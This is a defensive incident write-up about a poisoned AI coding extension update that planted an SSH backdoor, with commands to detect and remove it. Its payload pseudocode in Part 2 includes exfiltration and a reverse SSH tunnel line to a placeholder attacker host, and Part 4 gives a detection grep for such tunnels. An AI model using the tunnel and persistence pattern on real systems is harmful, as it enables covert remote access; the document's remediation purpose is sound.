AI Coding Extension Compromised by Supply Chain Attack: How to Detect and Remove an SSH Backdoor

    A malicious build of a popular AI coding assistant extension was distributed through a marketplace's delivery cache on October 29, targeting Windows and macOS users. This article breaks down the incident timeline, the attack chain that let credentials cross from a shared storage bucket into the distribution pipeline, and the long-dwelling SSH backdoor the payload attempted to install. It provides practical, platform-specific commands to check whether you received an affected version (2.1.312 or 2.1.313), inspect authorized_keys, SSH services, and persistence mechanisms, remove the backdoor, and rotate exposed credentials. Use this guide to verify whether a partial compromise still leaves residue on your machine and to remediate it step by step.

    Part 1: Incident Overview — Supply Chain Poisoning Hidden Behind a “Normal Update”

    1.1 Incident Timeline

    The vendor of a certain AI coding tool published security advisories on October 29 and November 13. The incident unfolded and was handled across the following milestones:

    Time Key Event
    Oct 29, approx. 02:27–13:35 PT A tampered malicious version of an AI coding assistant’s code helper extension appeared in the extension marketplace’s distribution cache
    Oct 29 (same day) Working with the cloud provider, the vendor took down the servers used by the attacker, disabling exfiltration and reverse connections
    Nov 1 The last observed attacker activity, which was blocked
    Nov 13 The vendor released an investigation update, reconstructed the attack path, and reviewed and rebuilt the extension marketplace

    Two parameters deserve particular attention:

    • Affected versions: The malicious copies were version 2.1.312 and 2.1.313, limited to the Windows and macOS platforms.
    • Upper bound of potential impact: Among users who requested these two versions during the October 29 window, at most roughly 5,000 may have received the malicious build. This is an estimated upper limit, not a count of confirmed infections.

    1.2 Clearing Up Three Common Misconceptions

    Three misjudgments commonly surface in community discussions and should be addressed up front.

    Misconception 1: Someone published a separate, same-named counterfeit extension.
    In fact, the malicious copy used an extension name and unique identifier identical to the official one. In the user interface, it appeared as an ordinary version update of that extension. Users saw no sign of an abnormal source and received no extra permission confirmation prompt. An identical identifier does not mean the content is trustworthy, because integrity was never verified at the distribution layer.

    Misconception 2: This was a vulnerability in the extension developer’s own product, or a poisoned upstream open-source extension source.
    The investigation showed it was neither:

    • The malicious copy was not published by the extension developer, and the developer’s product has no known vulnerability.
    • The open-source extension source connected to the marketplace was never compromised.

    Misconception 3: You are safe as long as you no longer install the extension.
    This is the misconception that needs the most caution. The persistence script dropped by the malicious payload runs independently of the extension, so simply uninstalling the extension does not guarantee the backdoor is removed. The reasons are detailed in Part 2.

    1.3 Reconstructing the Attack Path

    Based on the vendor’s investigation, the attack can be reconstructed as a typical credential-theft chain:

    1. Obtaining an access key: The attacker acquired an access key that the tool had issued to a partner.
    2. Reading shared storage beyond authorization: The two parties shared a read-only storage bucket. The attacker used the key to read data in the bucket, where a small amount of historical coding-agent trace data contained un-redacted credentials.
    3. Lateral movement using credentials: The attacker used the stolen credentials to access some of the SaaS tools the coding tool relied on.
    4. Writing the malicious build: Using these credentials, the attacker placed the malicious version directly into the distribution cache used by the extension marketplace.
    5. Distributing through a normal update channel: Because the extension name and identifier were unchanged, the malicious version was pushed to user endpoints in the form of “a normal update.”

    This chain reflects three design flaws worth revisiting:

    • Weak credential governance: The key was issued at too coarse a granularity, and the trace data in the bucket was not redacted. Agent trace data often records tool calls and context in full, easily capturing tokens, keys, and connection strings. Such data must be treated as sensitive by default, automatically redacted along the execution path, and backed by retention and access auditing.
    • Broken least privilege: The fact that a key usable by a partner could eventually reach credentials capable of “writing to the distribution cache” shows that permission boundaries between credentials were not truly isolated.
    • No integrity verification at the distribution layer: Once build artifacts enter the cache or CDN nodes, the absence of signature verification and hash checks can turn the distribution cache into a “gray area” above the trusted computing base.

    1.4 Confirmed Conclusions from the Platform Side

    In the November 13 update, the vendor confirmed two things: all other extensions in the marketplace were verified as authentic, and the marketplace had been reviewed and rebuilt. The confirmed scope of impact was concentrated in the two versions above. Ordinary users need not panic about the entire marketplace, but should still run a targeted check on their own environment using the methods below.

    Part 2: What the Malicious Payload Actually Did (Defensive View)

    2.1 Objective: A Long-Dwelling SSH Backdoor

    The main goal of the malicious code was to plant a long-lasting SSH backdoor, carried out in three phases.

    Phase 1: Reconnaissance and exfiltration.
    The malicious code collected and reported the following:

    • Hostname and username
    • Operating system and CPU architecture
    • Home directory path and current working directory
    • Environment variable names
    • Git email
    • Public IP

    This information is not harmful in itself, but the attacker used it to build a “profile”:

    • Inferring the target’s identity and organization from the Git email.
    • Determining which cloud services or dev toolchain the target used by examining environment variable names.
    • Filtering out higher-value development machines as entry points for later attacks.

    Phase 2: Planting the SSH backdoor.

    • Writing the attacker’s SSH public key into the current user’s authorized_keys file.
    • Enabling the machine’s SSH service.
    • Establishing a reverse SSH tunnel that exposes the machine to a server controlled by the attacker.

    Phase 3: Persistence.

    • On macOS, using a LaunchAgent.
    • On Windows, using a scheduled task, first attempting to run as SYSTEM, with a startup entry as a fallback.
    • A background script retried establishing the tunnel roughly every 60 seconds.

    The persistence logic of the malicious payload can be summarized in pseudocode:

    1. def worker():
    2. while True:
    3. # 1. Collect and exfiltrate host/environment info (home dir, Git email, public IP, etc.)
    4. exfiltrate(fingerprint())
    5. # 2. Append attacker's public key and start SSH service (platform dependent)
    6. install_key()
    7. start_ssh_service()
    8. # 3. Establish reverse tunnel: remote port -> local port 22
    9. ssh -N -R <remote>:22:localhost:22 <attacker_host>
    10. sleep(60)

    Understanding this structure matters because the persistence mechanism lives outside the extension’s process lifecycle and runs independently of the extension.

    2.2 Key Flaw: Tunnel Failure ≠ No Compromise

    The malicious code had an implementation defect. Unless the tool was launched with administrator privileges (which is very rare), the step of planting the SSH backdoor would fail, and the attacker could not log in through the tunnel.

    This detail is easily misread as “no actual harm was done.” The vendor also confirmed:

    • The attacker’s public key had been added.
    • The persistence mechanism had been installed.
    • Host information had been reported.

    The reason is not hard to infer. Code errors typically occur at steps that depend on privileges, such as “starting the service” or “establishing the tunnel,” whereas writing authorized_keys and registering a persistence task require only the current user’s privileges. Partial failure does not equal overall failure. The persistence script attempts to establish the tunnel roughly every 60 seconds, which means the backdoor could be re-activated if permission conditions, the network environment, or the tunnel method change.

    In addition, taking the attacker’s servers offline only cut off the exfiltration and reverse-connection channels; the public key, SSH service, and persistence items on the endpoint remained intact.

    2.3 Differences in Handling at the Two Points in Time

    • October 29: The attacker’s servers had been taken down, disabling tunnel connections and exfiltration.
    • The November 13 update: The last attacker activity occurred on November 1 and had been blocked.

    From a threat-modeling perspective, the attacker’s C2 channel was likely already dead, but backdoor residue remained on the endpoints. A deleted payload may also form a secondary link with local malicious files, so the safest choice is to handle the situation as if it were still compromised.

    2.4 Why AI Coding Tools Are High-Value Targets

    In light of this incident, AI coding extensions deserve more caution than ordinary editor plugins, for three reasons:

    • High privileges: These extensions need to read and write the entire workspace and execute terminal commands, so they naturally hold relatively high privileges.
    • Credential-dense: Development machines usually store sensitive information such as cloud access keys, SSH private keys, Git access tokens, and container registry credentials.
    • Frequent updates, high trust: Users are accustomed to accepting updates automatically and rarely check an extension’s source or hash.

    Once attackers control the distribution channel, they can affect a large number of high-privilege developer nodes at once. This is a typical example of the “amplification effect” of supply chain attacks.

    Part 3: Step One — Confirm Whether an Affected Version Was Installed

    The first step of self-checking is to define the scope: confirm whether the extension was installed and, as far as possible, reconstruct the installation and update times.

    3.1 Checking Version and Update History in the Tool

    If you are still using the tool, you can view the extension’s current version directly in the extension management interface. Some tools keep an update log or history for extensions. Even if the current version is not 2.1.312 or 2.1.313, you cannot directly rule out risk:

    • Was the tool ever installed or auto-updated to a malicious version during that period?
    • After updating, was it only upgraded without a thorough cleanup of residue?

    3.2 Looking for Traces in the Extension Directory

    The malicious version was delivered as a normal update, so its file creation or modification times fall roughly between 02:27 and 13:35 (Pacific Time) on October 29, which can serve as circumstantial evidence.

    Windows (PowerShell):

    1. # Search package.json manifest files in the extension install directory under the user profile
    2. Get-ChildItem "$env:USERPROFILE\.vscode\extensions" -Recurse -Filter package.json |
    3. Where-Object { $_.FullName -match "claude" } |
    4. Select-Object FullName, LastWriteTime

    macOS / Linux:

    1. # On Linux, you can replace .vscode in the path with .vscode-server
    2. grep -rl '"claude' ~/.vscode/extensions/*/package.json 2>/dev/null |
    3. while read -r f; do
    4. echo "== $f"
    5. grep -E '"(name|version|publisher)"' "$f"
    6. done
    7. # Check timestamps of suspicious directories
    8. ls -ldt ~/.vscode/extensions/*claude* 2>/dev/null

    If you find files of unknown origin in the extension directory (for example, scripts or executables unrelated to the extension’s functionality), treat them as highly suspicious.

    3.3 Checking Login and Connection Records

    1. # macOS / Linux: recent SSH login records
    2. last -a | head -30 # macOS
    3. lastlog | tail -20 # Linux
    4. # Linux: SSH authentication records in system logs
    5. journalctl -u ssh -u sshd --since "10 days ago" | grep -iE "accepted|failed"

    If you find successful logins from hosts/IPs you never authorized, the backdoor may have actually been used, and you should handle it as a compromise event rather than just cleaning up traces.

    Part 4: Step Two — Removing the Backdoor and Persistence Residue

    4.1 General Principles

    1. Back up first, then remove: Save key evidence before remediation to enable tracing.
    2. Operate by platform: Choose the steps that match the operating system of the development machine.
    3. Minimal changes: Delete only the entries related to the backdoor, avoiding accidental deletion of your own configuration.
    4. Credentials must be rotated: Cleaning up local traces is not enough; credential rotation cannot be skipped.
    1. # Windows: export a backup of scheduled tasks
    2. schtasks /query /fo LIST /v > "$env:USERPROFILE\Desktop\scheduled_tasks_backup.txt"
    3. # macOS / Linux: package ~/.ssh and a list of login items
    4. tar -czf ~/ssh_backup_$(date +%Y%m%d).tgz ~/.ssh 2>/dev/null

    4.2 Checking SSH Public Keys

    1. cat -n ~/.ssh/authorized_keys 2>/dev/null

    Equivalent check on Windows:

    1. cat "$env:USERPROFILE\.ssh\authorized_keys"

    Review them one by one: keep only public keys you definitely recognize, and delete every unfamiliar entry. Also check locations such as ~/.ssh/authorized_keys2, /etc/ssh/authorized_keys/, and /root/.ssh/. On Windows, also pay attention to C:\ProgramData\ssh\administrators_authorized_keys, which administrator accounts read first.

    4.3 Checking the SSH Service and Connections

    macOS:

    1. sudo launchctl list | grep -i ssh
    2. sudo systemsetup -getremotelogin

    Linux:

    1. systemctl status sshd
    2. ss -tlnp | grep ':22'

    Windows (PowerShell):

    1. Get-Service sshd

    If you had not intentionally enabled the SSH service but it is now running, this needs particular attention.

    4.4 Checking Persistence Items

    macOS:

    1. ls -la ~/Library/LaunchAgents/ /Library/LaunchAgents/ /Library/LaunchDaemons/
    2. launchctl list | grep -v com.apple

    Linux:

    1. crontab -l
    2. ls -la /etc/cron.* /etc/systemd/system/ ~/.config/systemd/user/ 2>/dev/null
    3. systemctl list-units --type=service --all | grep -vE 'systemd|dbus|NetworkManager'

    Windows (PowerShell):

    1. Get-ScheduledTask |
    2. Where-Object { $_.TaskPath -notlike "\Microsoft*" } |
    3. Select-Object TaskName, TaskPath, State
    4. # View the startup folder
    5. Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

    Key judgment points:

    • Treat any task, script, or startup item you did not create yourself as suspicious.
    • Focus on entries created around October 29.
    • You can open the corresponding scripts and check whether they contain SSH commands, reverse tunnel parameters, external IPs, or download-and-execute instructions.

    4.5 Checking Background Scripts and Tunnel Processes

    1. # Suspicious text signatures
    2. grep -rniE 'ssh.*(-R|localhost:22)|authorized_keys' \
    3. ~/Library/LaunchAgents /etc/cron.* ~/.config 2>/dev/null | head -30
    4. # Active SSH connections
    5. ps aux | grep -E '[s]sh.*(-R|-N)'
    6. ss -tnp | grep ':22'

    4.6 Performing the Cleanup

    macOS:

    1. # Stop and remove the suspicious LaunchAgent (replace with the actual name)
    2. launchctl bootout gui/$(id -u)/<label> 2>/dev/null
    3. rm -f ~/Library/LaunchAgents/<label>.plist
    4. # Disable remote login
    5. sudo systemsetup -setremotelogin off

    Linux:

    1. sudo systemctl stop <service> && sudo systemctl disable <service>
    2. sudo rm -f /etc/systemd/system/<service>
    3. crontab -e # Manually delete suspicious tasks

    Windows (PowerShell, requires administrator privileges):

    1. Unregister-ScheduledTask -TaskName "<task>" -Confirm:$false
    2. Stop-Service sshd
    3. Set-Service sshd -StartupType Disabled
    4. Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\<name>" -Force

    After cleanup, uninstall the extension. If conditions allow, it is recommended to reset the system in a clean environment, or at least reset the user account.

    4.7 Credential Rotation and Follow-Up Verification

    Treat the following credentials as leaked and rotate them immediately:

    • Cloud platform access keys (Access Key / Secret Key)
    • SSH private and public keys
    • Git platform tokens
    • Container registry credentials
    • Package repository tokens
    • Other long-lived keys stored on the development machine

    Windows users also need to check the registry for recently added suspicious Run key values. For verification, after a reboot, check again whether authorized_keys, scheduled tasks, and LaunchAgents have “come back to life.” If possible, use the cloud platform’s monitoring alerts and logging services to keep observing abnormal logins and abnormal outbound connections for a period of time.

    Part 5: Summary and Best Practices

    The core lesson of this incident is that in a supply chain distribution path, a missing integrity check at any single link can turn into a security incident with a wide blast radius. For users, three principles should be established:

    • Distinguish the extension from the residue: Uninstalling the extension alone does not remove the persistence script dropped into the system.
    • Treat partial success as a compromise: A failed tunnel establishment does not mean the backdoor is absent; key implantation and persistence are already complete.
    • Credentials must be rotated: Even if the attacker’s servers are offline, compromised credentials may still be abused elsewhere.

    For developers and teams, hardening can be done across five layers:

    1. Credential governance: Grant fine-grained authorization and prohibit long-lived keys; data in shared storage must be redacted; conduct regular credential scanning and rotation.
    2. Least privilege: Do not enable unnecessary remote login services on development machines; run AI coding tools with ordinary privileges whenever possible.
    3. Build artifact integrity verification: Verify the publisher’s identity, validate hashes and signatures, and do not install updates of unknown origin.
    4. Host-side monitoring: Alert on changes to key paths such as authorized_keys, scheduled tasks, and LaunchAgents; restrict abnormal outbound connections at the network layer, with particular attention to self-hosted proxy ports.
    5. Cloud-side auditing and isolation: Use cloud capabilities such as logging services, monitoring alerts, and host security to achieve centralized auditing, and unify the operations entry point through a bastion host. You can also set up a dedicated cloud account and least-privilege policy for AI coding tools, and run them in containers or virtual machines to further reduce the exposure surface of credentials.

    When facing this kind of supply chain incident, the criterion is not “whether the attack succeeded,” but “whether uncleared residue still exists locally.” Completing remediation in the order of “define scope → check traces → remove persistence → rotate credentials → continuous verification” is the way to bring the risk back under control.